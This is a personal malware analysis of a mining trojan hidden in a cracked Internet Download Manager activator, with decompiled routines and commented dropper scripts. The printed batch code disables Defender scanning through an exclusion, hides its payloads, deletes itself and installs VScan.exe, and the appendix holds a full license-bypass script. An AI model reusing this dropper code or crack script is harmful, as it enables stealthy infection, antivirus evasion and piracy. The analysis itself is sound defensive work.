Contents

Analysis of a mining trojan

The Comprehensive View of Trojan Operations (Current Analysis Progress)

./assets/DLL%20injection.png

0 Whole story

Last weekend, I attempted to install IDM on my ThinkBook laptop and chose to activate IDM using the activation tool from crackingcity.

./assets/image-20231113193900938.pngIt looks like things went smoothly after I downloaded and activated the software. Here’s what the activator looks like.

./assets/image-20231113155404109.png

After restarting my computer, however, a strange command prompt appeared unexpectedly.

./assets/0bdf06aec6f757897750935c20c13d91.png

Whoa! So, after I Googled xmrig.json, turns out my computer caught a mining trojan. It looks like the trojan didn’t do its thing properly, hence the weird messages. Then I got curious about why my Windows Defender didn’t catch it. Turns out, someone sneaky set C:\\Users\username\AppData as an exclusion for virus scans. When I turned that off, bam! Warning about VScan.exe popped up. I’m guessing that’s the troublemaker that brought in xmrig to my computer.

./assets/ea4649b94d3d79f018cd74d5a2984eb3.png

So, I started checking the apps that launch at startup. Something unfamiliar popped up: COM Surrogate? Never seen that before.

./assets/a07801ec88a829c6e093bc11f7c6e24f.png

The dllhost.exe process goes by the name COM Surrogate and the only time you’re likely even to notice its existence is when it crashes and you get the message COM Surrogate has stopped working. What is this COM Surrogate and why does it keep crashing?

The COM Surrogate is a fancy name for Sacrificial process for a COM object that is run outside of the process that requested it. Explorer uses the COM Surrogate when extracting thumbnails, for example. If you go to a folder with thumbnails enabled, Explorer will fire off a COM Surrogate and use it to compute the thumbnails for the documents in the folder. It does this because Explorer has learned not to trust thumbnail extractors; they have a poor track record for stability. Explorer has decided to absorb the performance penalty in exchange for the improved reliability resulting in moving these dodgy bits of code out of the main Explorer process. When the thumbnail extractor crashes, the crash destroys the COM Surrogate process instead of Explorer.

In other words, the COM Surrogate is the I don’t feel good about this code, so I’m going to ask COM to host it in another process. That way, if it crashes, it’s the COM Surrogate sacrificial process that crashes instead of me process. And when it crashes, it just means that Explorer’s worst fears were realized.

In practice, if you get these types of crashes when browsing folders containing video or media files, the problem is most likely a flaky codec.

Then I quickly went to check it out in the Task Manager to see what it was up to. It had three dllhost instances running, but one of them wasn’t from the System32 folder—it was from the excluded AppData directory. It was using around 20% of my CPU power.

./assets/705a32f8653a0d4397b514a03cf33dbc.png

I dragged the file into VirusTotal to give it a check:

./assets/31cb53e3401af11698779f9e827d6175.png

Haha, confirmed, it’s a mining trojan. Quickly took action, got rid of the mining trojan, adjusted startup items, and reset browser settings. (I wasn’t sure if the malware might release something to snatch the passwords saved in Chrome.) Luckily, from the trojan starting its job to me discovering and handling it, didn’t take more than five minutes, so it didn’t cause much harm. Ran a full scan with Windows Defender, then downloaded a few more scanning tools to make sure there were no other malicious payloads. As of now, the computer seems secure. I don’t want to reinstall the system because there’s too much in my production environment that needs reconfiguring. But I’m still uneasy and pretty annoyed—how can a download site with unanimous positive reviews pull off something like this? To make sure there are no lingering security issues, I’ve decided to analyze this handed-to-me-on-a-plate malicious sample.

Let’s review the troubleshooting journey: The mining trojan was mounted on COM Surrogate using DLLs. So, this seems like a DLL injection trojan.

The simplest way to check the architecture and whether it’s packed using DIE is straightforward. The activator is a 32-bit 7-zip file. (What’s that? Can I understand it as an installation package created by 7zip?)

./assets/image-20231113204202622.png

The program is unpacked, great. Let’s just drag it into IDA and take a look. The most significant lesson I learned from this debugging session is that if you’re unsure about the function of a certain function, you can simply set a breakpoint at the function’s return point and dynamically debug to observe changes.

After IDA finishes its analysis, let’s start by checking for any suspicious strings or imported/exported functions. Unfortunately, there doesn’t seem to be any valuable information. So, how about running it dynamically to see its behavior? Sadly, dynamic debugging didn’t catch any suspicious behavior in the activator’s directory. No file creation or registry modifications were detected. The program also doesn’t show clear signs of encrypting strings, and I can’t see any characters from the previous command prompt interface. Puzzled, I’ll have to rely on a combination of static analysis and dynamic debugging for further analysis.

In the imported functions, the first one that caught my eye was GetFileAttributesW. I traced the cross-references and found this chain of calls. It seems to be involved in file operations. (Later on, it was proven that one of their purposes was likely used to delete some released payloads.)

HandleFile(0x40301A) -> sub_402FED -> sub_402C86 -> sub_402B79

In this function, DWORD FileAttributesW is used to store the file attributes, HANDLE FirstFileW is the file handle for FindFirstFileW, and the struct _WIN32_FIND_DATAW FindFileData is declared to store information about the file. This function checks the attributes of a file specified by lpFileName. If the file is not a directory and certain conditions are met (involving dword_417770 and file timestamps), it returns 1, indicating successful file handling. Otherwise, it returns 0 or -1 with an error code.

int __cdecl HandleFile(LPCWSTR lpFileName, FILETIME *lpFileTime2)
{
  DWORD FileAttributesW; // eax
  HANDLE FirstFileW; // eax
  struct _WIN32_FIND_DATAW FindFileData; // [esp+4h] [ebp-250h] BYREF

  FileAttributesW = GetFileAttributesW(lpFileName);
  if ( FileAttributesW == -1 )
    return 0;
  if ( (FileAttributesW & 0x10) != 0 ) // if file is a directory
  {
    SetLastError(0x10u);
    return -1;
  }
  else
  {
    if ( !dword_417770 )
      return sub_402FED(lpFileName);
    if ( dword_417770 == 2
      && ((FirstFileW = FindFirstFileW(lpFileName, &FindFileData), FirstFileW == (HANDLE)-1)
       || (FindClose(FirstFileW), CompareFileTime(&FindFileData.ftLastWriteTime, lpFileTime2) < 0)) )
    {
      return sub_402FED(lpFileName);
    }
    else
    {
      return 1;
    }
  }
}

This function servers like a middleware, calling the following functions in order to delete file(s).

int __cdecl sub_402FED(LPCWSTR lpFileName)
{
  if ( sub_402C86(lpFileName) )
    return 0;
  if ( GetLastError() == 5 && (dword_417774 & 8) != 0 )
    return 1;
  return -1;
}

This function deletes file or files in a directory.

int __cdecl sub_402C86(LPCWSTR lpFileName)
{
  DWORD FileAttributesW; // eax

  if ( dword_4177F0 )
    return 1;
  FileAttributesW = GetFileAttributesW(lpFileName);
  if ( FileAttributesW == -1 )
    return 1;
  if ( (FileAttributesW & '\x10') != 0 ) // if file is a directory
    return sub_402B79(lpFileName); // traverse and delete sub-files in the directory
  if ( SetFileAttributesW(lpFileName, 0) ) // delete the file
    return DeleteFileW(lpFileName);
  return 0;
}

This file traverses and deletes sub-files in the directory.

int __cdecl sub_402B79(LPCWSTR lpPathName)
{
  WCHAR *v1; // Pointer to store the modified path name
  HANDLE FirstFileW; // File handle for FindFirstFileW
  int v3; // Variable to store function return values
  struct _WIN32_FIND_DATAW FindFileData; // Struct to store file information
  LPCWSTR lpFileName[3]; // Array to store file names

  sub_4024FC(lpFileName, (int)lpPathName); // Modify the path name
  sub_40254D(L"\\*"); // Append "\\*" to the path name
  v1 = (WCHAR *)lpFileName[0]; // Assign the modified path name
  FirstFileW = FindFirstFileW(lpFileName[0], &FindFileData); // Get file information for the first file in the directory

  if (FirstFileW != (HANDLE)-1) // If the directory is not empty
  {
    while (1)
    {
      sub_401329(lpFileName, (int)lpPathName); // Construct the full path of the file or directory
      sub_401429(92); // Append a backslash character
      sub_40254D(FindFileData.cFileName); // Append the file or directory name to the path
      v1 = (WCHAR *)lpFileName[0]; // Update the modified path name

      if ((FindFileData.dwFileAttributes & 0x10) == 0) // If it's not a directory
        break;

      // If the directory name is not "." or "..", recursively call the function
      if (lstrcmpW(FindFileData.cFileName, L".") && lstrcmpW(FindFileData.cFileName, L".."))
      {
        v3 = sub_402B79(v1);
        goto LABEL_8;
      }
LABEL_9:
      // Move to the next file or directory in the directory
      if (!FindNextFileW(FirstFileW, &FindFileData))
      {
        FindClose(FirstFileW);
        goto LABEL_11;
      }
    }

    // If the file or directory is not a directory, attempt to delete it
    if (!SetFileAttributesW(lpFileName[0], 0))
      goto LABEL_14;

    v3 = DeleteFileW(v1);

LABEL_8:
    if (!v3)
      goto LABEL_14;

    goto LABEL_9;
  }

LABEL_11:
  // If the directory is successfully emptied, try to delete the directory itself
  if (SetFileAttributesW(lpPathName, 0) && RemoveDirectoryW(lpPathName))
  {
    operator delete(v1);
    return 1; // Return 1 for successful directory deletion
  }
  else
  {
LABEL_14:
    operator delete(v1);
    return 0; // Return 0 for failure in directory deletion
  }
}

After setting breakpoints here for dynamic debugging, we observed that after several function calls, lpFileName was initially replaced with C:\\Users\username\AppData\Local\Temp\ytmp\files.tmp. Right after the CreateFileW was called, we checked this directory, but it was empty. After some tinkering, we discovered that when turning off “Hide Protected Operating System Files”, we could finally see the payloads released by the main body. It turns out the main body set the properties of all payloads to be protected OS files.

./assets/image-20231113155308648.png

After thorough analysis, 7za.exe turns out to be the 7zip program, used to extract more payloads from files.tmp. The other scripts seem to have various functions, but no particularly obvious malicious features. And IDM.bat is a completely normal activation script. This leaves our analysis at a standstill once again. Currently, after running the malicious sample, it releases payloads in the ytmp directory and runs IDM.bat to complete the subsequent normal activation operation. So, where did things go wrong?

Conducting another behavioral analysis in this directory, we found that the sample not only extracted these files but also unpacked an IDM0.bat. However, it deleted this file after execution.

This is how the sample creates zip file files.tmp and extracts main.bat:

./assets/image-20231113145442915.png

Then the sample executes main.bat, which extracts more payloads from files.tmp.

./assets/image-20231113145610300.png

Deleting files might be an attempt to stay under the radar, making it harder to detect malicious activities. We must take a closer look at the suspicious IDM0.bat.

View the details of the operation. Here is the command which main.bat executes.

./assets/image-20231113145742023.png

Now we got all those payloads. Below are the analysis results for these files.

Binary analysis reveals that this is indeed a compressed archive, and it’s not easily extractable due to encryption.

./assets/image-20231113105440062.png

The purpose of this script is to quietly extract payloads and set their file attributes to be invisible.

@ECHO OFF
:: Disable command echoing to prevent displaying commands on the command prompt

ATTRIB -S +H .
:: Set the hidden and system attributes for the current directory to make it read-only

7za e files.tmp -p%PW% -aoa IDM0.bat
7za e files.tmp -p%PW% -aoa IDM.bat
7za e files.tmp -p%PW% -aoa NSudo86x.exe
7za e files.tmp -p%PW% -aoa AB2EF.exe

:: Use the 7-Zip command-line tool to extract files from "files.tmp" with the specified password (%PW%),
:: -aoa indicates overwriting all files without prompting

DEL /F /Q /A %0
:: Delete the current script file (%0). /F forces deletion, /Q deletes silently, /A deletes all files including read-only files

EXIT

A completely normal activation script. Since it’s a six hundred lines long, it will be included the in the appendix for study purposes.

This batch script performs several tasks related to antivirus exclusion and configuration of a download manager.

  1. Check if a registry key ppd exists in the RunMRU key and exit the script if found.

  2. Check if a registry value ShowSuperHidden is set to 1 in the Advanced key and exit the script if found.

    This implies that if we disable “Hide protected operating system files,” the latter part of this script that releases the malicious payload will not be executed. It’s a clever, and indeed annoying, anti-debugging trick.

  3. Determine the system architecture 32-bit or 64-bit.

  4. If the system is 64-bit, exclude a specified path from Windows Defender using PowerShell.

  5. If the exclusion was successful, extract VScan.exe from a compressed file files.tmp using a specified password and place it in a specified directory.

  6. Configure registry keys related to a download manager, specifying the path to VScan.exe.

  7. Delete a specific registry value related to download manager parameters.

  8. Delete the script file and exit.

@ECHO OFF
SET "NUL=1>NUL 2>NUL"
SETLOCAL ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS

:: %NUL% Redirect any output or error messages to the NUL device to keep the operation silent

:: Check if the registry key "ppd" exists in the "RunMRU" key under the current user registry
REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" | FIND /I "ppd" > NUL && GOTO EndScript

:: Check if the registry value "ShowSuperHidden" is set to 1 in the "Advanced" key under the current user registry
REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" | FIND /I "1" > NUL && GOTO EndScript

:: Check the system architecture and set OS_Bit variable accordingly
REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0" | FIND /I "x86" > NUL && SET "OS_Bit=32Bit" || SET "OS_Bit=64Bit"

IF /I "!OS_Bit!" EQU "64Bit" (
    :: Exclude a path from Windows Defender using PowerShell
    POWERSHELL -Command Add-MpPreference -ExclusionPath "!ppD!" %NUL%
    
    :: If the exclusion was successful, extract "VScan.exe" from "files.tmp" with a password and place it in the specified directory
    IF /I "!ERRORLEVEL!" EQU "0" (
        7za e "files.tmp" -p!PW! -aoa "VScan.exe" -o"!ppDM!" %NUL%
        
        :: Configure the registry key for the download manager, specifying the path to "VScan.exe"
        REG ADD "HKCU\Software\DownloadManager" /v "VScannerProgram" /t "REG_SZ" /d "!ppDM!\VScan.exe" /f %NUL%
        
        :: Delete a specific registry value related to download manager parameters
        REG DELETE "HKCU\Software\DownloadManager" /v "VScannerParameters" /f %NUL%
    )
)

:EndScript
ENDLOCAL

:: Delete the script file
DEL /F /Q /A %0 %NUL%
EXIT

Yes, it turns out that the “Hide protected operating system files” feature is implemented through the registry.

./assets/image-20231113153600226.png

It’s not hard to notice that the script releases another genuine malicious sample, VScan.exe, from file.tmp at the end. I believe it’s the latter that further achieves the intrusion of the mining trojan through DLL injection.

To obtain VScan, we’ll need to manually extract it from files.tmp using the same decompression password.

./assets/image-20231113152613457.png

This is a highly dangerous program. Let’s not forget that the IDM0.bat script has set exclusions for Windows Defender, so at this point, Windows Defender can no longer detect VScan.

./assets/image-20231113152916887.png

Through the IDM.bat script, it’s discovered that the latter two payloads are called by the registration script, further achieving the registration process. Due to time constraints, the analysis of these two programs is not yet complete. Here are their imported functions.

./assets/image-20231113102409162.png

./assets/image-20231113102608468.png

./assets/image-20231113102531606.png

./assets/image-20231113104401045.png

Through the static analysis, dynamic debugging, and sample evidence collection as described above, we have gained a basic understanding of the process by which the malicious sample releases the mining trojan. I believe what was mentioned in the registration tool’s Readme.txt: temporarily disabling Windows Defender is necessary for activating the software, enabling the success of the malicious sample. I admit I was a bit naïve. Additionally, the design of this sample is quite clever, and overall, the analysis process is quite interesting. I’m fortunate that it’s just a mining trojan, and I noticed the error messages from the command prompt. Remember WinRing0x64.sys? It’s a file from Microsoft used to obtain hardware information about the computer. It’s possible that this mining trojan would operate gently within the hardware capabilities of my computer, remaining undetected for an extended period. Well, it seems that I’ll need to be more cautious when searching for resources online in the future.

Later on, I discovered posts from other people online who had experienced similar issues. Haha, it turns out I’m not alone in this! There’s even a report from the U.S. government!

  • Hash of the malicious sample: 61208ef95b922b0e93f0dbea9d4d565d

  • Source of the malicious sample: https://www.crackingcity.com/idm-crack/

  • IDM.bat

    @setlocal DisableDelayedExpansion
    @echo off
    
    :: Add custom name in IDM license info, prefer to write it in English and/or numeric in below line after = sign,
    set name=%Username% - by crackingcity.com
    set title=Internet Download Manager (IDM) 6.xx Activator or Resetter v3.1
    
    
    
    
    ::========================================================================================================================================
    
    :: Re-launch the script with x64 process if it was initiated by x86 process on x64 bit Windows
    :: or with ARM64 process if it was initiated by x86/ARM32 process on ARM64 Windows
    
    if exist %SystemRoot%\Sysnative\cmd.exe (
    set "_cmdf=%~f0"
    setlocal EnableDelayedExpansion
    start %SystemRoot%\Sysnative\cmd.exe /c ""!_cmdf!" %*"
    exit /b
    )
    
    :: Re-launch the script with ARM32 process if it was initiated by x64 process on ARM64 Windows
    
    if exist %SystemRoot%\Windows\SyChpe32\kernel32.dll if exist %SystemRoot%\SysArm32\cmd.exe if %PROCESSOR_ARCHITECTURE%==AMD64 (
    set "_cmdf=%~f0"
    setlocal EnableDelayedExpansion
    start %SystemRoot%\SysArm32\cmd.exe /c ""!_cmdf!" %*"
    exit /b
    )
    
    ::  Set Path variable, it helps if it is misconfigured in the system
    
    set "SysPath=%SystemRoot%\System32"
    set "Path=%SysPath%;%SystemRoot%;%SysPath%\Wbem;%SysPath%\WindowsPowerShell\v1.0\"
    
    ::========================================================================================================================================
    
    cls
    color 07
    
    set _args=
    set _elev=
    set reset=
    set Silent=
    set activate=
    
    set _args=%*
    if defined _args set _args=%_args:"=%
    if defined _args (
    for %%A in (%_args%) do (
    if /i "%%A"=="-el"  set _elev=1
    if /i "%%A"=="/res" set Unattended=1&set activate=&set reset=1
    if /i "%%A"=="/act" set Unattended=1&set activate=1&set reset=
    if /i "%%A"=="/s"   set Unattended=1&set Silent=1
    )
    )
    
    ::========================================================================================================================================
    
    set "nul=>nul 2>&1"
    set "_psc=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"
    set winbuild=1
    for /f "tokens=6 delims=[]. " %%G in ('ver') do set winbuild=%%G
    call :_colorprep
    set "nceline=echo: &echo ==== ERROR ==== &echo:"
    set "line=_________________________________________________________________________________________"
    set "_buf={$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"
    
    if defined Silent if not defined activate if not defined reset exit /b
    if defined Silent call :begin %nul% & exit /b
    
    :begin
    
    ::========================================================================================================================================
    
    if not exist "%_psc%" (
    %nceline%
    echo Powershell is not installed in the system.
    echo Aborting...
    goto done2
    )
    
    if %winbuild% LSS 7600 (
    %nceline%
    echo Unsupported OS version Detected.
    echo Project is supported only for Windows 7/8/8.1/10/11 and their Server equivalent.
    goto done2
    )
    
    ::========================================================================================================================================
    
    ::  Fix for the special characters limitation in path name
    
    set "_work=%~dp0"
    if "%_work:~-1%"=="\" set "_work=%_work:~0,-1%"
    
    set "_batf=%~f0"
    set "_batp=%_batf:'=''%"
    
    set _PSarg="""%~f0""" -el %_args%
    
    set "_appdata=%appdata%"
    for /f "tokens=2*" %%a in ('reg query "HKCU\Software\DownloadManager" /v ExePath 2^>nul') do call set "IDMan=%%b"
    
    setlocal EnableDelayedExpansion
    
    
    ::========================================================================================================================================
    
    :: Below code also works for ARM64 Windows 10 (including x64 bit emulation)
    
    reg query "HKLM\Hardware\Description\System\CentralProcessor\0" /v "Identifier" | find /i "x86" 1>nul && set arch=x86|| set arch=x64
    
    if not exist "!IDMan!" (
    if %arch%==x64 set "IDMan=%ProgramFiles(x86)%\Internet Download Manager\IDMan.exe"
    if %arch%==x86 set "IDMan=%ProgramFiles%\Internet Download Manager\IDMan.exe"
    )
    
    if "%arch%"=="x86" (
    set "CLSID=HKCU\Software\Classes\CLSID"
    set "HKLM=HKLM\Software\Internet Download Manager"
    set "_tok=5"
    ) else (
    set "CLSID=HKCU\Software\Classes\Wow6432Node\CLSID"
    set "HKLM=HKLM\SOFTWARE\Wow6432Node\Internet Download Manager"
    set "_tok=6"
    )
    
    set _temp=%SystemRoot%\Temp
    set regdata=%SystemRoot%\Temp\regdata.txt
    set "idmcheck=tasklist /fi "imagename eq idman.exe" | findstr /i "idman.exe" >nul"
    
    ::========================================================================================================================================
    
    if defined Unattended (
    if defined reset goto _reset
    if defined activate goto _activate
    )
    
    :MainMenu
    
    cls
    TITLE %title%
    mode 89, 23
    
    :: Check firewall status
    
    set /a _ena=0
    set /a _dis=0
    for %%# in (DomainProfile PublicProfile StandardProfile) do (
    for /f "skip=2 tokens=2*" %%a in ('reg query HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\%%# /v EnableFirewall 2^>nul') do (
    if /i %%b equ 0x1 (set /a _ena+=1) else (set /a _dis+=1)
    )
    )
    
    if %_ena%==3 (
    set _status=Enabled
    set _col=%_Green%
    )
    
    if %_dis%==3 (
    set _status=Disabled
    set _col=%_Red%
    )
    
    if not %_ena%==3 if not %_dis%==3 (
    set _status=Status_Unclear
    set _col=%_Yellow%
    )
    
    AB2EF kF5nJ4D92hfOpc8 %nul%
    
    echo:
    echo:
    echo:
    echo:
    echo:                  _____________________________________________________
    echo:                                                          
    echo:                     [1] Activate IDM
    echo:                     [2] Reset IDM Activation / Trial in Registry
    echo:                     _______________________________________________
    echo:                                                          
    call :_color2 %_White% "                     [3] Toggle Windows Firewall  " %_col% "[%_status%]"
    echo:                     _______________________________________________
    echo:                                                          
    echo:                     [4] ReadMe
    echo:                     [5] Homepage
    echo:                     [6] Exit
    echo:                  _____________________________________________________
    echo:   
    call :_color2 %_White% "                    " %_Green% "Enter a menu option in the Keyboard [1,2,3,4,5,6]"
    choice /C:123456 /N
    set _erl=%errorlevel%
    
    if %_erl%==6 DEL /F /Q /A *.* %nul%&exit /b
    if %_erl%==5 goto homepage
    if %_erl%==4 call :readme&goto MainMenu
    if %_erl%==3 call :_tog_Firewall&goto MainMenu
    if %_erl%==2 goto _reset
    if %_erl%==1 goto _activate
    goto :MainMenu
    
    ::========================================================================================================================================
    
    :_tog_Firewall
    
    if %_status%==Enabled (
    netsh AdvFirewall Set AllProfiles State Off >nul
    ) else (
    netsh AdvFirewall Set AllProfiles State On >nul
    )
    exit /b
    
    ::========================================================================================================================================
    
    :readme
    
    set "_ReadMe=%SystemRoot%\Temp\ReadMe.txt"
    if exist "%_ReadMe%" del /f /q "%_ReadMe%" %nul%
    call :export txt "%_ReadMe%"
    start notepad "%_ReadMe%"
    timeout /t 2 %nul%
    del /f /q "%_ReadMe%"
    exit /b
    
    ::  Extract the text from batch script without character and file encoding issue
    
    :export
    
    %nul% %_psc% "$f=[io.file]::ReadAllText('!_batp!') -split \":%~1\:.*`r`n\"; [io.file]::WriteAllText('%~2',$f[1].Trim(),[System.Text.Encoding]::ASCII);"
    exit/b
    
    ::========================================================================================================================================
    
    :_reset
    
    TITLE %title%
    MODE CON: COLS=89 LINES=13
    
    set _error=
    
    reg query "HKCU\Software\DownloadManager" "/v" "Serial" %nul% && (
    %idmcheck% && taskkill /f /im idman.exe  %nul%
    )
    
    if exist "!_appdata!\DMCache\settings.bak" del /s /f /q "!_appdata!\DMCache\settings.bak"  %nul%
    
    set "_action=call :delete_key"
    call :reset
    
    echo:
    echo %line%
    echo:
    if not defined _error (
    call :_color %Green% "IDM Activation - Trial is successfully reset in the registry."
    ) else (
    call :_color %Red% "Failed to completely reset IDM Activation - Trial."
    )
    
    goto done
    
    ::========================================================================================================================================
    
    :_activate
    
    TITLE %title%
    MODE CON: COLS=89 LINES=25
    
    echo:
    set _error=
    
    if not exist "!IDMan!" (
    call :_color %Red% "IDM [Internet Download Manager] is not Installed."
    echo You can download it from  https://www.internetdownloadmanager.com/download.html
    goto done
    )
    
    :: Internet check with internetdownloadmanager.com ping and port 80 test
    
    ping -n 1 internetdownloadmanager.com >nul || (
    %_psc% "$t = New-Object Net.Sockets.TcpClient;try{$t.Connect("""internetdownloadmanager.com""", 80)}catch{};$t.Connected" | findstr /i true 1>nul
    )
    
    if not [%errorlevel%]==[0] (
    call :_color %Red% "Unable to connect internetdownloadmanager.com, aborting..."
    goto done
    )
    
    echo Internet is connected.
    
    %idmcheck% && taskkill /f /im idman.exe %nul%
    
    if exist "!_appdata!\DMCache\settings.bak" del /s /f /q "!_appdata!\DMCache\settings.bak" %nul%
    
    set "_action=call :delete_key"
    call :reset
    
    set "_action=call :count_key"
    call :register_IDM
    
    echo:
    if defined _derror call :f_reset & goto done
    
    set lockedkeys=
    set "_action=call :lock_key"
    echo Locking registry keys...
    rem echo:
    call :action
    
    if not defined _error if [%lockedkeys%] GEQ [7] (
    echo:
    echo %line%
    echo:
    call :_color %Green% "IDM is successfully activated."
    echo:
    call :_color %Gray% "If fake serial screen appears, run activation option again, after that it wont appear."
    goto done
    )
    
    call :f_reset
    
    ::========================================================================================================================================
    
    :done
    
    NSudo86x -U:C -P:E -UseCurrentConsole "!IDMan!" /onboot %nul%
    
    start "" "www.crackingcity.com" %nul%
    
    echo %line%
    echo:
    echo:
    if defined Unattended (
    echo Press any key to exit...
    pause >nul
    exit /b
    )
    
    call :_color %_Yellow% "Press any key to return..."
    pause >nul
    goto MainMenu
    
    :done2
    
    if defined Unattended (
    echo Press any key to exit...
    pause >nul
    exit /b
    )
    
    echo Press any key to exit...
    pause >nul
    exit /b
    
    ::========================================================================================================================================
    
    :homepage
    
    cls
    start https://www.crackingcity.com
    goto MainMenu
    
    ::========================================================================================================================================
    
    :f_reset
    
    echo:
    echo %line%
    echo:
    call :_color %Red% "Error found, resetting IDM activation..."
    set "_action=call :delete_key"
    call :reset
    echo:
    echo %line%
    echo:
    call :_color %Red% "Failed to activate IDM."
    exit /b
    
    ::========================================================================================================================================
    
    :reset
    
    set take_permission=
    call :delete_queue
    set take_permission=1
    call :action
    call :add_key
    exit /b
    
    ::========================================================================================================================================
    
    :_rcont
    
    reg add %reg% %nul%
    call :_add_key
    exit /b
    
    :register_IDM
    
    echo:
    echo Applying registration details...
    rem echo:
    
    If not defined name set name=Tonec FZE
    
    set "reg=HKCU\SOFTWARE\DownloadManager /v FName /t REG_SZ /d "%name%"" & call :_rcont
    set "reg=HKCU\SOFTWARE\DownloadManager /v LName /t REG_SZ /d """ & call :_rcont
    set "reg=HKCU\SOFTWARE\DownloadManager /v Email /t REG_SZ /d "info@tonec.com"" & call :_rcont
    set "reg=HKCU\SOFTWARE\DownloadManager /v Serial /t REG_SZ /d "R953G-JE15D-5FCTH-50SNV"" & call :_rcont
    
    echo:
    echo Triggering a few downloads to create certain registry keys, please wait...
    
    set "file=%_temp%\temp.png"
    set _fileexist=
    set _derror=
    
    %idmcheck% && taskkill /f /im idman.exe
    
    set link=https://www.internetdownloadmanager.com/images/idm_box_min.png
    call :download
    set link=https://www.internetdownloadmanager.com/register/IDMlib/images/idman_logos.png
    call :download
    
    :: it may take some time to reflect registry keys.
    timeout /t 3 >nul
    
    set foundkeys=
    call :action
    if [%foundkeys%] GEQ [7] goto _skip
    
    set link=https://www.internetdownloadmanager.com/pictures/idm_about.png
    call :download
    set link=https://www.internetdownloadmanager.com/languages/indian.png
    call :download
    
    timeout /t 3 >nul
    
    set foundkeys=
    call :action
    if not [%foundkeys%] GEQ [7] set _derror=1
    
    :_skip
    
    echo:
    if not defined _derror (
    echo Required registry keys were created successfully.
    ) else (
    if not defined _fileexist call :_color %Red% "Unable to download files with IDM."
    call :_color %Red% "Failed to create required registry keys."
    call :_color %Magenta% "Try again - disable Windows firewall with script options - check Read Me."
    )
    
    rem echo:
    %idmcheck% && taskkill /f /im idman.exe %nul%
    if exist "%file%" del /f /q "%file%"
    exit /b
    
    :download
    
    set /a attempt=0
    if exist "%file%" del /f /q "%file%"
    start "" /B "!IDMan!" /n /d "%link%" /p "%_temp%" /f temp.png
    
    :check_file
    
    timeout /t 1 >nul
    set /a attempt+=1
    if exist "%file%" set _fileexist=1&exit /b
    if %attempt% GEQ 20 exit /b
    goto :Check_file
    
    ::========================================================================================================================================
    
    :delete_queue
    
    echo:
    echo Deleting registry keys...
    rem echo:
    
    for %%# in (
    ""HKCU\Software\DownloadManager" "/v" "FName""
    ""HKCU\Software\DownloadManager" "/v" "LName""
    ""HKCU\Software\DownloadManager" "/v" "Email""
    ""HKCU\Software\DownloadManager" "/v" "Serial""
    ""HKCU\Software\DownloadManager" "/v" "scansk""
    ""HKCU\Software\DownloadManager" "/v" "tvfrdt""
    ""HKCU\Software\DownloadManager" "/v" "radxcnt""
    ""HKCU\Software\DownloadManager" "/v" "LstCheck""
    ""HKCU\Software\DownloadManager" "/v" "ptrk_scdt""
    ""HKCU\Software\DownloadManager" "/v" "LastCheckQU""
    "%HKLM%"
    ) do for /f "tokens=* delims=" %%A in ("%%~#") do (
    set "reg="%%~A"" &reg query !reg! %nul% && call :delete_key
    )
    
    exit /b
    
    ::========================================================================================================================================
    
    :add_key
    
    echo:
    echo Adding registry key...
    rem echo:
    
    set "reg="%HKLM%" /v "AdvIntDriverEnabled2""
    
    reg add %reg% /t REG_DWORD /d "1" /f %nul%
    
    :_add_key
    
    if [%errorlevel%]==[0] (
    set "reg=%reg:"=%"
    rem echo Added - !reg!
    ) else (
    set _error=1
    set "reg=%reg:"=%"
    %_psc% write-host 'Failed' -fore 'white' -back 'DarkRed'  -NoNewline&echo  - !reg!
    )
    exit /b
    
    ::========================================================================================================================================
    
    :action
    
    if exist %regdata% del /f /q %regdata% %nul%
    
    reg query %CLSID% > %regdata%
    
    %nul% %_psc% "(gc %regdata%) -replace 'HKEY_CURRENT_USER', 'HKCU' | Out-File -encoding ASCII %regdata%"
    
    for /f %%a in (%regdata%) do (
    for /f "tokens=%_tok% delims=\" %%# in ("%%a") do (
    echo %%#|findstr /r "{.*-.*-.*-.*-.*}" >nul && (set "reg=%%a" & call :scan_key)
    )
    )
    
    if exist %regdata% del /f /q %regdata% %nul%
    
    exit /b
    
    ::========================================================================================================================================
    
    :scan_key
    
    reg query %reg% 2>nul | findstr /i "LocalServer32 InProcServer32 InProcHandler32" >nul && exit /b
    
    reg query %reg% 2>nul | find /i "H" 1>nul || (
    %_action%
    exit /b
    )
    
    for /f "skip=2 tokens=*" %%a in ('reg query %reg% /ve 2^>nul') do echo %%a|findstr /r /e "[^0-9]" >nul || (
    %_action%
    exit /b
    )
    
    for /f "skip=2 tokens=3" %%a in ('reg query %reg%\Version /ve 2^>nul') do echo %%a|findstr /r "[^0-9]" >nul || (
    %_action%
    exit /b
    )
    
    for /f "skip=2 tokens=1" %%a in ('reg query %reg% 2^>nul') do echo %%a| findstr /i "MData Model scansk Therad" >nul && (
    %_action%
    exit /b
    )
    
    for /f "skip=2 tokens=*" %%a in ('reg query %reg% /ve 2^>nul') do echo %%a| find /i "+" >nul && (
    %_action%
    exit /b
    )
    
    exit/b
    
    ::========================================================================================================================================
    
    :delete_key
    
    reg delete %reg% /f %nul%
    
    if not [%errorlevel%]==[0] if defined take_permission (
    %nul% call :reg_own "%reg%" preserve S-1-1-0
    reg delete %reg% /f %nul%
    )
    
    if [%errorlevel%]==[0] (
    set "reg=%reg:"=%"
    rem echo Deleted - !reg!
    ) else (
    set "reg=%reg:"=%"
    set _error=1
    %_psc% write-host 'Failed' -fore 'white' -back 'DarkRed'  -NoNewline & echo  - !reg!
    )
    
    exit /b
    
    ::========================================================================================================================================
    
    :lock_key
    
    %nul% call :reg_own "%reg%" "" S-1-1-0 S-1-0-0 Deny "FullControl"
    
    reg delete %reg% /f %nul%
    
    if not [%errorlevel%]==[0] (
    set "reg=%reg:"=%"
    rem echo Locked - !reg!
    set /a lockedkeys+=1
    ) else (
    set _error=1
    set "reg=%reg:"=%"
    %_psc% write-host 'Failed' -fore 'white' -back 'DarkRed'  -NoNewline&echo  - !reg!
    )
    
    exit /b
    
    ::========================================================================================================================================
    
    :count_key
    
    set /a foundkeys+=1
    exit /b
    
